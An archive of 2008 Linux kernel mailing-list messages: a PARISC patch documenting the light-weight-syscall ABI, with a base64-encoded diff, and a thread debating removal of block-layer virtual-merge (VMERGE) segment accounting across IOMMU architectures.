NNTP-Posting-Date: Tue, 15 Jul 2008 12:34:42 +0000 (UTC)
To: "Kyle McMartin" <kyle@mcmartin.ca>, "Helge Deller" <deller@gmx.de>,
	"John David Anglin" <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 15 14:35:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIjjq-0001yW-Pe
	for glpp-linux-parisc@gmane.org; Tue, 15 Jul 2008 14:34:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755328AbYGOMdn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 08:33:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755403AbYGOMdn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 08:33:43 -0400
Original-Received: from yw-out-2324.google.com ([74.125.46.29]:9197 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755328AbYGOMdm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 08:33:42 -0400
Original-Received: by yw-out-2324.google.com with SMTP id 9so2597539ywe.1
        for <linux-parisc@vger.kernel.org>; Tue, 15 Jul 2008 05:33:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:mime-version:content-type:x-google-sender-auth;
        bh=Bgq5AACu5Q4BJi3roiTGFmmSIQ7w6JhraZzSzd+N2/E=;
        b=ZJFxjnw1RNS5pBJ5wUd8g8XZXadtWDoJRPlHCoWtdOMehRvulMgP6i0OsdsKJWSVVR
         F/8Z/R5q06q1oF5TyJqdB90cjSuZ6VA4XlJVjZP7VAU6WGpZqoJSXqimK8HmAbCsQexh
         Ky4qd+cqKt/vPeJ5MVmfwcRgco1pXIhz9DMGs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:mime-version:content-type
         :x-google-sender-auth;
        b=Dg1vc1/7ZPQx5I7YnuJ47kngZU5QRQBbnV/RBe7tw1C6xGLAnChXojJJjfhxXryfLk
         6rNF7ZHgiUb5vXympA1poqEw39t7BfrteDIQcqknOMJy+4Y+5G0cNQxXqyRAvl7u1yaX
         NxtM92ZDKckSRK49fjBmKkm0vzeH1ZAviZIVs=
Original-Received: by 10.114.39.16 with SMTP id m16mr18867973wam.98.1216125218596;
        Tue, 15 Jul 2008 05:33:38 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Tue, 15 Jul 2008 05:33:38 -0700 (PDT)
X-Google-Sender-Auth: 6554ca5afe36d82b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:496
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/496>

------=_Part_6813_2174491.1216125218592
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Helge,

The LWS interface *already* has a 64-bit runtime entry point, see
arch/parisc/kernel/syscall.S:
~~~
        .align PAGE_SIZE
        /* Light-weight-syscall table */
        /* Start of lws table. */
ENTRY(lws_table)
        LWS_ENTRY(compare_and_swap32)   /* 0 - ELF32 Atomic compare and swap */
        LWS_ENTRY(compare_and_swap64)   /* 1 - ELF64 Atomic compare and swap */
END(lws_table)
        /* End of lws table */
~~~

The entry path unconditionally clips the LWS # to 32-bits.

On a 32-bit kernel, calling LWS entry #0 carries out the CAS on the
untouched 32-bit registers.
On a 32-bit kernel, calling LWS entry #1 returns ENOSYS.

On a 64-bit kernel, calling LWS entry #0 clips all register to 32-bits
and carries out the CAS.
On a 64-bit kernel, calling LWS entry #1 carries out the CAS on the
untouched 64-bit registers.

Patch attached.

John, could you comment on the ABI wrt the 64-bit runtime?

Helge, please review. I rolled in your fix for the superfluous .align
16. I would like your signed-off-by if you think the patch is good.

[PARISC] Document LWS ABI and LWS cleanups.

Document the LWS ABI including implementation notes for
userspace, and comment cleanup.

Remove extraneous .align 16 after lws_lock_start.

Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

------=_Part_6813_2174491.1216125218592
Content-Type: text/x-diff; name=syscall.S.diff
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fiohinzi1
Content-Disposition: attachment; filename=syscall.S.diff

ZGlmZiAtLWdpdCBhL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxsLlMgYi9hcmNoL3BhcmlzYy9r
ZXJuZWwvc3lzY2FsbC5TCmluZGV4IDY5YjZlZWIuLjNmYzczYWQgMTAwNjQ0Ci0tLSBhL2FyY2gv
cGFyaXNjL2tlcm5lbC9zeXNjYWxsLlMKKysrIGIvYXJjaC9wYXJpc2Mva2VybmVsL3N5c2NhbGwu
UwpAQCAtMzY1LDE3ICszNjUsNTEgQEAgdHJhY2VzeXNfc2lnZXhpdDoKIAogCiAJLyoqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgotCQlMaWdo
dC13ZWlnaHQtc3lzY2FsbCBjb2RlCisJCTMyLzY0LWJpdCBMaWdodC1XZWlnaHQtU3lzY2FsbCBB
QkkKIAotCQlyMjAgLSBsd3MgbnVtYmVyCi0JCXIyNixyMjUscjI0LHIyMyxyMjIgLSBJbnB1dCBy
ZWdpc3RlcnMKLQkJcjI4IC0gRnVuY3Rpb24gcmV0dXJuIHJlZ2lzdGVyCi0JCXIyMSAtIEVycm9y
IGNvZGUuCisJCSogLSBJbmRpY2F0ZXMgYSBoaW50IGZvciB1c2Vyc3BhY2UgaW5saW5lIGFzbQor
CQlpbXBsZW1lbnRhdGlvbnMuCiAKLQkJU2NyYWN0aDogQW55IG9mIHRoZSBhYm92ZSB0aGF0IGFy
ZW4ndCBiZWluZwotCQljdXJyZW50bHkgdXNlZCwgaW5jbHVkaW5nIHIxLiAKKwkJU3lzY2FsbCBu
dW1iZXIgKGNhbGxlci1zYXZlcykKKwkgICAgICAgIC0gJXIyMAorCSAgICAgICAgKiBJbiBhc20g
Y2xvYmJlci4KIAotCQlSZXR1cm4gcG9pbnRlcjogcjMxIChOb3QgdXNhYmxlKQorCQlBcmd1bWVu
dCByZWdpc3RlcnMgKGNhbGxlci1zYXZlcykKKwkgICAgICAgIC0gJXIyNiwgJXIyNSwgJXIyNCwg
JXIyMywgJXIyMgorCSAgICAgICAgKiBJbiBhc20gaW5wdXQuCisKKwkJUmV0dXJuIHJlZ2lzdGVy
cyAoY2FsbGVyLXNhdmVzKQorCSAgICAgICAgLSAlcjI4IChyZXR1cm4pLCAlcjIxIChlcnJubykK
KwkgICAgICAgICogSW4gYXNtIG91dHB1dC4KKworCQlDYWxsZXItc2F2ZXMgcmVnaXN0ZXJzCisJ
ICAgICAgICAtICVyMSwgJXIyNywgJXIyOQorCSAgICAgICAgLSAlcjIgKHJldHVybiBwb2ludGVy
KQorCSAgICAgICAgLSAlcjMxIChibGUgbGluayByZWdpc3RlcikKKwkgICAgICAgICogSW4gYXNt
IGNsb2JiZXIuCisKKwkJQ2FsbGVlLXNhdmVzIHJlZ2lzdGVycworCSAgICAgICAgLSAlcjMtJXIx
OAorCSAgICAgICAgLSAlcjMwIChzdGFjayBwb2ludGVyKQorCSAgICAgICAgKiBOb3QgaW4gYXNt
IGNsb2JiZXIuCisKKwkJSWYgdXNlcnNwYWNlIGlzIDMyLWJpdDoKKwkJQ2FsbGVlLXNhdmVzIHJl
Z2lzdGVycworCSAgICAgICAgLSAlcjE5ICgzMi1iaXQgUElDIHJlZ2lzdGVyKQorCisJCURpZmZl
cmVuY2VzIGZyb20gMzItYml0IGNhbGxpbmcgY29udmVudGlvbjoKKwkJLSBTeXNjYWxsIG51bWJl
ciBpbiAlcjIwCisJCS0gQWRkaXRpb25hbCBhcmd1bWVudCByZWdpc3RlciAlcjIyIChhcmc0KQor
CQktIENhbGxlZS1zYXZlcyAlcjE5LgorCisJCUlmIHVzZXJzcGFjZSBpcyA2NC1iaXQ6CisJCUNh
bGxlZS1zYXZlcyByZWdpc3RlcnMKKwkJLSAlcjI3ICg2NC1iaXQgUElDIHJlZ2lzdGVyKQorCisJ
CURpZmZlcmVuY2VzIGZyb20gNjQtYml0IGNhbGxpbmcgY29udmVudGlvbjoKKwkJLSBTeXNjYWxs
IG51bWJlciBpbiAlcjIwCisJCS0gQWRkaXRpb25hbCBhcmd1bWVudCByZWdpc3RlciAlcjIyIChh
cmc0KQorCQktIENhbGxlZS1zYXZlcyAlcjI3LgogCiAJCUVycm9yIGNvZGVzIHJldHVybmVkIGJ5
IGVudHJ5IHBhdGg6CiAKQEAgLTQ3Myw3ICs1MDcsOCBAQCBsd3NfY29tcGFyZV9hbmRfc3dhcDY0
OgogCWIsbglsd3NfY29tcGFyZV9hbmRfc3dhcAogI2Vsc2UKIAkvKiBJZiB3ZSBhcmUgbm90IGEg
NjQtYml0IGtlcm5lbCwgdGhlbiB3ZSBkb24ndAotCSAqIGltcGxlbWVudCBoYXZpbmcgNjQtYml0
IGlucHV0IHJlZ2lzdGVycworCSAqIGhhdmUgNjQtYml0IGlucHV0IHJlZ2lzdGVycywgYW5kIGNh
bGxpbmcKKwkgKiB0aGUgNjQtYml0IExXUyBDQVMgcmV0dXJucyBFTk9TWVMuCiAJICovCiAJYixu
CWx3c19leGl0X25vc3lzCiAjZW5kaWYKQEAgLTYzNSwxMiArNjcwLDE1IEBAIEVORChzeXNfY2Fs
bF90YWJsZTY0KQogCS8qCiAJCUFsbCBsaWdodC13ZWlnaHQtc3lzY2FsbCBhdG9taWMgb3BlcmF0
aW9ucyAKIAkJd2lsbCB1c2UgdGhpcyBzZXQgb2YgbG9ja3MgCisKKwkJTk9URTogVGhlIGx3c19s
b2NrX3N0YXJ0IHN5bWJvbCBtdXN0IGJlIAorCQlhdCBsZWFzdCAxNi1ieXRlIGFsaWduZWQgZm9y
IHNhZmUgdXNlCisJCXdpdGggbGRjdy4KIAkqLwogCS5zZWN0aW9uIC5kYXRhCiAJLmFsaWduCVBB
R0VfU0laRQogRU5UUlkobHdzX2xvY2tfc3RhcnQpCiAJLyogbHdzIGxvY2tzICovCi0JLmFsaWdu
IDE2CiAJLnJlcHQgMTYKIAkvKiBLZWVwIGxvY2tzIGFsaWduZWQgYXQgMTYtYnl0ZXMgKi8KIAku
d29yZCAxCg==
------=_Part_6813_2174491.1216125218592--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Tue, 15 Jul 2008 23:20:14 +0900
Lines: 38
Approved: news@gmane.org
Message-ID: <20080715231956A.fujita.tomonori@lab.ntt.co.jp>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
	<Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216131728 5668 80.91.229.12 (15 Jul 2008 14:22:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 14:22:08 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	davem@davemloft.net, linux-parisc@vger.kernel.org
To: mpatocka@redhat.com
Original-X-From: linux-scsi-owner@vger.kernel.org Tue Jul 15 16:22:55 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIlQJ-0001gn-NV
	for lnx-linux-scsi@gmane.org; Tue, 15 Jul 2008 16:22:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753238AbYGOOVk (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 15 Jul 2008 10:21:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753693AbYGOOVk
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Tue, 15 Jul 2008 10:21:40 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:44128 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753238AbYGOOVj (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Tue, 15 Jul 2008 10:21:39 -0400
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id m6FEKEWP009814;
	Tue, 15 Jul 2008 23:20:15 +0900
In-Reply-To: <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com>
Original-Lines: 33
X-Virus-Scanned: ClamAV 0.93.1/2691/Fri Mar  2 08:24:05 2007 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43165 gmane.linux.kernel:706868 gmane.linux.ports.parisc:497
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/497>

On Tue, 15 Jul 2008 09:37:05 -0400 (EDT)
Mikulas Patocka <mpatocka@redhat.com> wrote:

> On Tue, 15 Jul 2008, FUJITA Tomonori wrote:
> 
> > blk_recalc_rq_segments assumes that any segments can be merged in the
> > case of BIOVEC_VIRT_MERGEABLE && !BIOVEC_VIRT_OVERSIZE. However, an
> > IOMMU can't merge segments if the total length of the segments is
> > larger than max_segment_size (the LLD restriction).
> >
> > Due to this bug, a LLD may get the larger number of segments than
> > nr_hw_segments because the block layer puts more segments in a request
> > than it should do.
> >
> > This bug could happen on alpha, parisc, and sparc, which use VMERGE.
> 
> Parisc doesn't use virtual merge accounting (there is variable for it but 
> it's always 0).

Hmm, really? Looks like PARISC IOMMUs (ccio-dma.c and sba_iomm.c) set
parisc_vmerge_boundary (CC'ed PARISC mailing list).


> On sparc64 it is broken anyway with or without your patch. 

Yeah, we need to modify SPARC64 IOMMU code (I'm not sure that it's
worth). Right now, the best fix is setting BIO_VMERGE_BOUNDARY to 0.


> And alpha alone doesn't justify substantial code bloat in generic block 
> layer. So I propose this patch to drop it at all.

Jens, what do you think about removing VMERGE code?
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Tue, 15 Jul 2008 10:37:58 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807151033040.25390@devserv.devel.redhat.com>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
 <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com>
 <20080715231956A.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Trace: ger.gmane.org 1216132821 9962 80.91.229.12 (15 Jul 2008 14:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 14:40:21 +0000 (UTC)
Cc: jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 15 16:41:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIli6-0000lC-Bm
	for glpp-linux-parisc@gmane.org; Tue, 15 Jul 2008 16:40:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755413AbYGOOjg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 10:39:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755254AbYGOOjf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 10:39:35 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:36028 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751250AbYGOOje (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 10:39:34 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6FEbx2P028086;
	Tue, 15 Jul 2008 10:37:59 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6FEbxMm022998;
	Tue, 15 Jul 2008 10:37:59 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6FEbwHX028497;
	Tue, 15 Jul 2008 10:37:58 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6FEbwIp026091;
	Tue, 15 Jul 2008 10:37:58 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6FEbw3I026087;
	Tue, 15 Jul 2008 10:37:58 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <20080715231956A.fujita.tomonori@lab.ntt.co.jp>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:498 gmane.linux.kernel:706879 gmane.linux.scsi:43167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/498>

>>> This bug could happen on alpha, parisc, and sparc, which use VMERGE.
>>
>> Parisc doesn't use virtual merge accounting (there is variable for it but
>> it's always 0).
>
> Hmm, really? Looks like PARISC IOMMUs (ccio-dma.c and sba_iomm.c) set
> parisc_vmerge_boundary (CC'ed PARISC mailing list).

That's right, I looked only at arch and include.

>> On sparc64 it is broken anyway with or without your patch.
>
> Yeah, we need to modify SPARC64 IOMMU code (I'm not sure that it's
> worth). Right now, the best fix is setting BIO_VMERGE_BOUNDARY to 0.

Even if we fix it now, the question is: how long it will stay fixed? Until 
someone makes another change to struct device that restricts boundaries on 
some wacky hardware.

Mikulas

>> And alpha alone doesn't justify substantial code bloat in generic block
>> layer. So I propose this patch to drop it at all.
>
> Jens, what do you think about removing VMERGE code?
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Tue, 15 Jul 2008 09:50:21 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <1216133421.3312.30.camel@localhost.localdomain>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
	 <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com>
	 <20080715231956A.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216133441 12360 80.91.229.12 (15 Jul 2008 14:50:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 14:50:41 +0000 (UTC)
Cc: mpatocka@redhat.com, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	davem@davemloft.net, linux-parisc@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-scsi-owner@vger.kernel.org Tue Jul 15 16:51:27 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIlsD-0004wp-90
	for lnx-linux-scsi@gmane.org; Tue, 15 Jul 2008 16:51:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752543AbYGOOu3 (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 15 Jul 2008 10:50:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752030AbYGOOu3
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Tue, 15 Jul 2008 10:50:29 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:47090 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751863AbYGOOu1 (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Tue, 15 Jul 2008 10:50:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id CEA588BDA;
	Tue, 15 Jul 2008 09:50:24 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216133425; bh=8HzHOIQn0vZRWfyJqE/xUmC6j2kXOKCPLOZ7DZFaDy
	8=; l=2519; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=h7PuH+hxOezriVC01sM6nH0yl3FPQYSZ15Qym
	7Pk4MkRMKKKB9AY0DE4wD6YZVbmybcZiGP5cCSwr2xfTyH0mkCYoCnlRd5AmdA8Jkah
	99LspfI9bDxCnDeIX2IG8lUyDgK2HqsImlV6lNKDnXr/m5yuIxbl6JsvG6aWlCYWnVc
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6Y2xut5SoAA1; Tue, 15 Jul 2008 09:50:22 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 1B2027F9A;
	Tue, 15 Jul 2008 09:50:21 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216133422; bh=8HzHOIQn0vZRWfyJqE/xUmC6j2kXOKCPLOZ7DZFaDy
	8=; l=2519; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=aPdFnIg83Tkt3r5JBgMlVX7i4+74fPyqb2fmu
	7YhdplneZdxbZvRR7knhQiWGF0saBrnOvkMC9GIMfMN7h8qtE/DhRTvpsQR5cf7556j
	dy7910BGK2pr6HWNE0v6FgwWrFbJ85a/XyIxGLXeaD6Gqw1tvEOaW4M5gRU/6eoQmas
	=
In-Reply-To: <20080715231956A.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43168 gmane.linux.kernel:706885 gmane.linux.ports.parisc:499
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/499>

On Tue, 2008-07-15 at 23:20 +0900, FUJITA Tomonori wrote:
> On Tue, 15 Jul 2008 09:37:05 -0400 (EDT)
> Mikulas Patocka <mpatocka@redhat.com> wrote:
> 
> > On Tue, 15 Jul 2008, FUJITA Tomonori wrote:
> > 
> > > blk_recalc_rq_segments assumes that any segments can be merged in the
> > > case of BIOVEC_VIRT_MERGEABLE && !BIOVEC_VIRT_OVERSIZE. However, an
> > > IOMMU can't merge segments if the total length of the segments is
> > > larger than max_segment_size (the LLD restriction).
> > >
> > > Due to this bug, a LLD may get the larger number of segments than
> > > nr_hw_segments because the block layer puts more segments in a request
> > > than it should do.
> > >
> > > This bug could happen on alpha, parisc, and sparc, which use VMERGE.
> > 
> > Parisc doesn't use virtual merge accounting (there is variable for it but 
> > it's always 0).
> 
> Hmm, really? Looks like PARISC IOMMUs (ccio-dma.c and sba_iomm.c) set
> parisc_vmerge_boundary (CC'ed PARISC mailing list).

That's correct.  The size and boundary depend on the type of IOMMU (ccio
or sba) so the vmerge boundary parameters are set up in the iommu driver
code.

> > On sparc64 it is broken anyway with or without your patch. 
> 
> Yeah, we need to modify SPARC64 IOMMU code (I'm not sure that it's
> worth). Right now, the best fix is setting BIO_VMERGE_BOUNDARY to 0.
> 
> 
> > And alpha alone doesn't justify substantial code bloat in generic block 
> > layer. So I propose this patch to drop it at all.
> 
> Jens, what do you think about removing VMERGE code?

Actually, it's code I did.

There are plusses and minusses to all of this.  The original vmerge code
was done for sparc ... mainly because the benefits of virtual merging
can offset the cost of having to use the iommu.  However, most
architectures didn't use it.  When I fixed it up to work for parisc (and
introduced the parameters) we were trying to demonstrate that using it
was feasible.

The idea behind vmerging is that assembling and programming sg lists is
expensive, so you want to do it once.  Either in the iommu or in the
driver sg list, but not in both.  There is evidence that it saves around
7% or so on drivers.  However, for architectures that can do it, better
savings are made simply by lifting the iommu out of the I/O path (so
called bypass mode).

I suspect with IOMMUs coming back (and being unable to be bypassed) with
virtualisation, virtual merging might once more become a significant
value.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Tue, 15 Jul 2008 11:24:08 -0400 (EDT)
Lines: 67
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807151104450.26824@devserv.devel.redhat.com>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
  <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com> 
 <20080715231956A.fujita.tomonori@lab.ntt.co.jp> <1216133421.3312.30.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Trace: ger.gmane.org 1216135608 20790 80.91.229.12 (15 Jul 2008 15:26:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 15:26:48 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 15 17:27:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
